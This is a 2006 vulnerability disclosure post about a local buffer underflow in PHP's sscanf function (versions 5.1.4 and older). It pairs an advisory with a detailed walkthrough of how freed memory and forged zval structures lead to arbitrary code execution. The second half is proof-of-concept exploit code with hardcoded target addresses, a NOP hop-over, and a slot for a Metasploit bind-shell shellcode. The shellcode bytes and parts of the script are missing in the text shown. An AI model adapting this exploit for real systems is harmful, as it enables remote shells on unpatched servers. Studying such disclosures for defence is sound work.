php local buffer underflow could lead to arbitary code execution Aug 04 2006 09:24PM
heintz hotmail com

Affected versions: php 5.1.4 and older, 4.4.3 and possibly older

Cause: when php-s sscanf functions format argument contains argument swap

and extra arguments are given like.

sscanf('foo ','$1s',$bar) then it reads an pointer to pointer to

zval structure past the end of argument array by one.

Php developers were notified and response and patching was quick. php bug tracker thread here: http://bugs.php.net/bug.php?id=38322

Vulnearability is fixed in CVS.


Attacker needs a double pointer to writable segment in remote binary which can be obtained by

compiling a binary based on all info known about remote host and disassembling binary and searching.

This exploit first fills php internally cached memory with address of pointer (double pointer)

to writable segment. Then by unsetting the variable it frees memory, but does not

zero it, so this way we pass our own pointers to sscanf.

Now sscanf allocated array has valid element one past the array,

sscanf tries to call a function to destruct zval structure.

if its 15-th byte isnt anything valid it will default to doing nothing

and will continue without errors and returns;

sscanf now sets the structure to be of type string and writes

pointer to string (it matched from our first argument to sscanf) and strings

length to a structure-s value union. the strings address is written to first 4 bytes

of structure.

knowing this we construct our own binary zval structure of type object. + shellcode + space

to match format. So now we have successfully called sscanf for the first time

and we got something like ptrptr->ptr->zval-of-type-string in memory

zval-of-type-string first 4 bytes point to our object we passed as argument.

so now we fill the internal cached memory with just pointer to zval. and free it.

when sscanf reads the pointer this time it now moves upwards one level but still

dereferences twice. thus acts upon our zval structure of type object.

when the destructor function now sees the zval is an object it will read

a pointer from our structure to another structure which supposed to contain function

pointers. it will call whatever the 2-cond element points to. all elements are 4 bytes long

thus address pointed to by structures offset 4 is called.

when we give it our ptr-to-zval - 4

it will add 4 bytes to it and dereference it an call whatever is there. and

there is address to our constructed zval object so we are executing code

from the beginning of our structure. eip-hop-over will help us through

unwanted bytes and we are on our way executing our shellcode.



POC developed by Heintz.

Greets to Waraxe from www.waraxe.us

All buds from www.plain-text.info


Thanks to metasploit.com for shellcode loan.


// tested addresses from php5ts.dll (php 5.1.4) running win x64 pro

// $ptr_to_ptr_to_zval = "\x10\x43\x54\xCC";

// $ptr_to_zval = "\x10\x43\x54\xB0";

// $ptr_to_obj_handlers = "\x10\x43\x54\xAC"; // $ptr_to_zval-4

// addresses from php 5.1.4 cli, compiled with gcc version 3.3.6,

// kernel 2.6.14-hardened-r3

$ptr_to_ptr_to_zval = "\x08\x1A\x64\xC8";

$ptr_to_zval = "\x08\x1A\x60\x0C";

$ptr_to_obj_handlers = "\x08\x1A\x60\x08"; // $ptr_to_zval-4

// nop, nop, nop, mov eax,nex-4-bytes. to disarm 4 next bytes

$eip_hop_over = "\x90\x90\x90\xB8";

# linux_ia32_bind - LPORT=5555 Size=108 Encoder=PexFnstenvSub http://metasploit.com

$shellcode =









{ // small endian conversion

$t = $ptr_to_ptr_to_zval;

$ptr_to_ptr_to_zval = $t{3}.$t{2}.$t{1}.$t{0};

$t = $ptr_to_zval;

$ptr_to_zval = $t{3}.$t{2}.$t{1}.$t{0};

$t = $ptr_to_obj_handlers;

$ptr_to_obj_handlers = $t{3}.$t{2}.$t{1}.$t{0};


$object_zval = $eip_hop_over.$ptr_to_obj_handlers.$eip_hop_over.


$str = str_repeat($ptr_to_ptr_to_zval,20);









"a ",




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